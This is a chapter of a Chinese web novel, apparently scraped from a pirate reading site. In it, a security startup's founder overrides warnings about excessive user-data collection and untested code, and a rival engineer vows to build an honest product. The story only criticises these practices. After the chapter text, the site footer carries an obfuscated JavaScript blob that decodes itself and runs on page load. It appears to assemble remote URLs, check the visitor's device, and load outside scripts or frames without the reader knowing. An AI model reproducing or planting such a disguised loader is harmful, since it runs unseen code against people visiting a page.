首页
前传第173章 无视用户安全
返回
关灯 护眼:关 字号:小

前传第173章 无视用户安全,只求流量变现

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    前传第173章无视用户安全,只求流量变现(第1/2页)
    夜色漫过江城高新区的写字楼集群,连片的玻璃幕墙被城市灯火染成一片冷白。已经是晚上九点半,绝大多数中小公司早已人去楼空,可荆棘科技所在的十二层,依旧灯火通明。
    开放式办公区里,敲击键盘的声响连绵不绝,会议室内还在进行第二轮业务复盘,空气里浮动着速溶咖啡、外卖重油的气味,还有一股急于扩张、急于变现的焦灼感。
    在这里,用户安全只是PPT上用来装点门面的词语,流量、转化率、市场份额,才是悬挂在所有人头顶的最高准则。
    周衍坐在主位上,指尖漫不经心地敲着桌面,他是荆棘科技的创始人,今年三十八岁,面皮保养得干净,眼神里却藏着商人特有的精明与功利。会议室长条会议桌两边坐满部门负责人,市场、产品、技术、运营,各个条线的主管分列两侧,屏幕上投射着最新一期的业务报表,跳动的数字刺目耀眼。
    “上个月,我们隐私防护类产品,新增注册用户突破七十八万。”运营总监身体微微前倾,声音带着压抑不住的亢奋,投影仪的光打在他脸上,“付费转化率较上个季度提升2.7个百分点,广告变现收入环比上涨百分之四十一。按照这个增速,再过两个季度,我们就可以稳稳吃下国内民用数据安全近一成的市场。”
    报表一行行往下滑,新增用户、曝光量、广告收入节节走高,一派烈火烹油的繁盛景象。
    会议室里响起几声低低的赞叹,不少人的脸上露出喜色。在互联网行业,漂亮的增长数据,就是拿到下一轮融资最好的敲门砖。
    只有坐在角落的技术负责人老魏,眉头紧紧锁着,指尖攥着打印出来的风险检测报告,纸页边缘都被捏得起了褶皱。
    等运营总监汇报完毕,短暂的掌声落下去,老魏才迟疑着开口,打破这一室热烈的氛围。
    “周总,有个情况,我必须要提。”
    所有人的目光齐刷刷转向他,气氛瞬间冷了几分。
    老魏把几份检测报告推到桌面中央,纸张上罗列着密密麻麻的风险条目,红色警示标记触目惊心。
    “我们这版主打民用隐私防护的‘盾卫’产品,后台埋点采集权限开得过大。表面上是帮用户拦截第三方窃取信息,可我们自己,在未经用户充分授权的前提下,收集了大量设备行为数据、浏览轨迹,甚至部分通讯录碎片信息。第三方安全机构匿名给到我们预警,已经监测到异常采集行为。继续这样跑,迟早要爆雷。”
    “还有,为了压缩开发周期,上一轮迭代,底层防护模块没有完成完整渗透测试就直接上线。部分脱敏逻辑写得很粗糙,一旦遭遇定向攻击,用户原始数据有泄露风险。”
    老魏在安全行业摸爬滚打十几年,不是不懂变通,可职业底线还在。看着手里的测试结果,心里沉甸甸的。
    话音落下,会议室安静了两秒。
    市场主管嗤笑一声,率先开口反驳:“老魏,现在是什么阶段?我们要冲规模,要抢市场窗口期。用户授权协议写得清清楚楚,密密麻麻一大段,用户安装的时候点了同意,法律层面我们没有漏洞。互联网哪家产品不采集行为数据?大家都这么干,为什么就我们不行?”
    “法律上钻空子,不代表这件事本身没有风险。”老魏坚持,“一旦出现大规模数据泄露,毁掉的是整个公司口碑。真出了事,不是一份用户协议就能兜住的。”
    “风险?什么风险。”创始人周衍抬眼,神色平淡,听不出喜怒,可话语里的倾向十分明确,“只要数据不对外主动售卖,仅仅用于内部算法优化、广告精准推送,就算有少量漏洞,也属于行业可接受范围内。互联网的窗口转瞬即逝,我们耗不起慢悠悠打磨安全。”
    他身体向后靠在老板椅上,目光扫过在场所有人。
    “资本要看的是增长曲线,是市场占有率,不是一份完美无瑕的安全检测报告。投资人投钱进来,不是让我们做公益搞理想主义,是要看到回报。”
    “慢,就意味着死。”
    短短几句话,轻飘飘压下了技术端提出的隐患。
    老魏胸口发闷,还想再争辩:“可是万一漏洞被黑客利用,普通用户会遭殃,那些普通人根本看不懂冗长的用户协议,他们下载我们软件,是想要保护自己的数据,结果反倒被我们采集信息。”
    “用户要的是什么?用户要的是免费工具,是弹窗拦截,是看起来很厉害的防护效果。”周衍打断他,语气变得直接,“大部分普通用户看不懂底层代码,也不会去研究后台采集了什么。界面做得好看,功能按钮堆得多,宣传文案写得唬人,他们就会买单。至于后台看不见的地方,只要不出轰动全网的大事故,就不会影响我们的流量。”
    在周衍的逻辑里,用户安全是可以为流量变现让路的筹码。
    能糊弄就糊弄,能压缩就压缩,能用捷径就绝不走长路。老老实实投入资金人力打磨底层安全,周期长、烧钱多,短期看不到收益,远不如换皮抄袭、放大营销来得实在。
    旁边产品总监跟着附和:“周总说得没错。现在竞品都在跑马圈地,龙胆科技那边还在埋头啃底层研发,进度慢,市场声量小,这就是我们的机会。我们快速把用户盘子做大,拿到融资,等钱进来之后,后续再慢慢补安全短板也来得及。先活下来,再谈完美。”
    “先活下来”,成了所有妥协最好的借口。
    老魏看着一屋子同僚,有人漠然低头,有人点头附和,少数几个人眼里明明掠过一丝不安,却始终选择沉默。
    他忽然明白,自己的异议,在这里无足轻重。
    荆棘科技从创立之初,骨子里就不是一家技术驱动的安全公司。它是一家资本驱动的套利公司。技术只是外壳,流量变现才是内核。
    会议继续往下推进,刚刚被提起的数据安全风险,仿佛一粒投入湖面的小石子,短暂泛起涟漪之后,迅速归于沉寂。
    周衍快速布置下一阶段目标:“市场部加大投放,短视频、信息流广告全部铺开,主打免费隐私防护,抓住普通网民的焦虑心理,继续拉新。产品部优先迭代用户看得见的表层功能,花哨的防护特效、一键扫描按钮多多加上,底层非紧急的安全整改,全部往后排期。技术部把主要精力放在对接数据广告平台,优化用户画像,提升广告变现效率。”
    一条条指令落地,每一条,都指向更快的流量收割。
    “对了,”周衍忽然想起一件事,嘴角勾起一抹算计的弧度,“留意市面上小团队的加密技术成果,遇到不错的,能挖人就挖人,挖不动就想办法拿到源码。不用从零开始死磕研发,节省时间成本。”
    这句话,正是荆棘科技一路扩张的真实写照。
    (本章未完,请点击下一页继续阅读)前传第173章无视用户安全,只求流量变现(第2/2页)
    不愿承担漫长研发的沉没成本,专做摘桃子的人。
    会议结束,各个部门负责人陆续散去,会议室灯光一盏盏熄灭。老魏走在最后,手里攥着那份风险报告,心里沉甸甸的。走廊的灯光惨白,映着他疲惫的侧脸。
    他不是没有想过辞职离开。可上有老下有小,房贷压在肩头,中年人跳槽的代价沉重。整个行业大环境如此,又有多少公司,愿意真正为看不见的底层安全买单?
    很多时候,人在洪流之中,只能被动随波逐流。
    十二楼的灯火依旧明亮,无数行代码在服务器里昼夜流转。软件对外宣传,是守护亿万普通人数字隐私的卫士,可在看不见的后台,源源不断的用户行为数据被抓取、归集、画像,转化成可以变现的商业价值。
    普通的下载用户对此一无所知。
    他们之中,有担心信息泄露的上班族,有害怕诈骗的中老年网民,有小心翼翼保护个人信息的学生。他们怀着一份信任,下载安装这款打着安全旗号的软件,以为给自己的数字生活加上一把锁,却不知道这把锁本身,就藏着缺口。
    同一时刻,距离荆棘科技几公里之外,另一个写字楼,龙胆草还在工位加班。
    桌面上摊开多份行业调研材料,他通过行业内相熟的朋友,拿到了荆棘科技这款热门产品的第三方安全测评简报。
    屏幕上,一条条风险点,看得他眉头紧锁。
    已经夜里十点多,开放式办公区剩下的人不多,周遭安安静静,只有空调微弱的嗡鸣。
    龙胆草指尖滑动鼠标,反复翻看测评报告。报告里写得很客观:表层防护功能丰富,用户体验做得花哨,市场推广力度极强;但是底层脱敏残缺,超限采集行为突出,部分模块未经过完整渗透测试,存在高危泄露隐患。
    “打着保护隐私的名义,过度采集用户数据,靠流量广告赚钱。”龙胆草低声自语,心底泛起一阵无力。
    这就是当下行业的现实。
    很多安全产品,不再是解决问题,而是贩卖焦虑。利用普通人对于数据泄露的恐惧获取流量,再反过来从用户身上攫取商业利益。
    他想起前阵子接触过的一个普通用户,一个普通的中年女性,因为个人信息泄露,接到源源不断的骚扰推销,不堪其扰。她花时间在网上找所谓的安全防护软件,希望能保护自己,结果下载之后,骚扰电话反而变本加厉。
    那名女士并不知道,自己选择的工具,本身就在源源不断收集她的信息。
    技术本该成为盾牌,如今却被拿来做猎网。
    龙胆草靠在椅背上,望向窗外沉沉夜色。江城万家灯火,千千万万普通人,就在这样并不牢靠的数字环境里生活。他们不懂复杂的算法,看不懂晦涩的用户协议,没有能力去甄别软件背后藏着的陷阱,只能被动接受互联网抛过来的一切。
    资本追逐增速,企业追逐利润,行业默许潜规则。普通人的数字安全,反倒成了优先级最低的东西。
    他打开自己的私人记事本,灯光落在屏幕,敲下一行文字。
    如果安全行业的出路,是靠消耗普通用户的权益换取增长,那这样的繁荣,本身就是病态的。
    创业的念头,在心底又重了一分。
    他不想做花里胡哨的营销噱头,不想靠着贩卖焦虑收割流量。他想做一套真正干净、可控,把普通用户权益放在第一位的加密防护系统。后来,这套系统会被命名为五彩绫镜。
    只是此刻,一切还仅仅停留在记事本的文字与脑海里的构想。没有团队,没有资金,没有落地路径,只有一份在乱象之中不肯熄灭的理想。
    手机轻轻震动,是大学同学发来消息,聊起荆棘科技新一轮融资传闻,言语间满是羡慕。
    【现在行业里都在说周衍眼光毒辣,短短几年就把公司做这么大,估值蹭蹭往上翻,多少投资人抢着投。】
    龙胆草看着屏幕,没有回复。
    外人看见的,是光鲜亮丽的估值、飞速增长的用户规模、资本追捧的风光。外人看不见的,是被搁置的安全漏洞,是被超限采集的用户数据,是被牺牲掉的底线。
    光鲜的商业故事背面,往往藏着被忽略的代价。
    时间一点点往后推移,午夜临近。
    荆棘科技十二层,加班的员工陆续下班。运营部的小姑娘收拾背包,随口和身边同事说笑。
    “咱们产品现在热度越来越高,说不定再过两年,就能成为行业头部大厂。”
    同事笑了笑,一边关机一边随口回应:“好好干活就行,上面怎么定,我们就怎么做。”
    没有人愿意去深想那些后台看不见的风险。风险距离遥远,KPI和薪资,才是切切实实握在手里的东西。
    办公区灯光成片熄灭,只剩下几台服务器机房指示灯幽幽闪烁。海量的用户数据,就在寂静的深夜,源源不断完成归集、整理、画像。
    追求流量变现的齿轮,一刻不停地转动。
    几公里之外,龙胆草关掉测评报告,合上笔记本。
    楼道灯光清冷,他背着简单双肩包走出写字楼。深夜的街道车流稀疏,晚风迎面吹过来,吹散办公室积压的疲惫。
    他抬头望向满城灯火。
    这城市里无数普通人,正在熟睡,他们的聊天记录、浏览痕迹、设备信息,散落在互联网各个角落。有些被好好守护,有些,被随意对待。
    荆棘科技的故事,只是这个行业乱象的其中一角。抄袭换皮、超限采集、重营销轻技术,同类的公司,远不止一家。大家心照不宣,共同构筑起这一片虚假繁荣。
    龙胆草缓缓往前走,鞋底踩过路灯投下的斑驳树影。
    他清楚,理想很轻,现实很重。想要逆势而行,要面对资金压力、市场挤压、同行的排挤,前路布满荆棘。
    可有些念头一旦生根,就再也压不下去。
    他还不知道,在往后不远的岁月,他会遇见曹辛夷,遇见姚浮萍姚厚朴兄妹,遇见九里香,遇见背负沉重过往的林晚。一群各有伤痕、各有坚守的人,会聚拢到一起,为了一份“技术向善”的信念,共同扛起龙胆科技,打磨出五彩绫镜。
    此刻,所有人还散落在这座城市的不同角落,各自承受人生的风雨,彼此尚未相逢。
    而荆棘科技,正踩着捷径一路狂奔,在流量变现的道路上越走越远,隐患深埋,风暴正在悄然积蓄。属于他们的反噬,尚且还在未来,遥遥未到。
    夜色深沉,江城沉沉睡去。繁华表象之下,正邪的伏笔,已经悄悄埋下。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();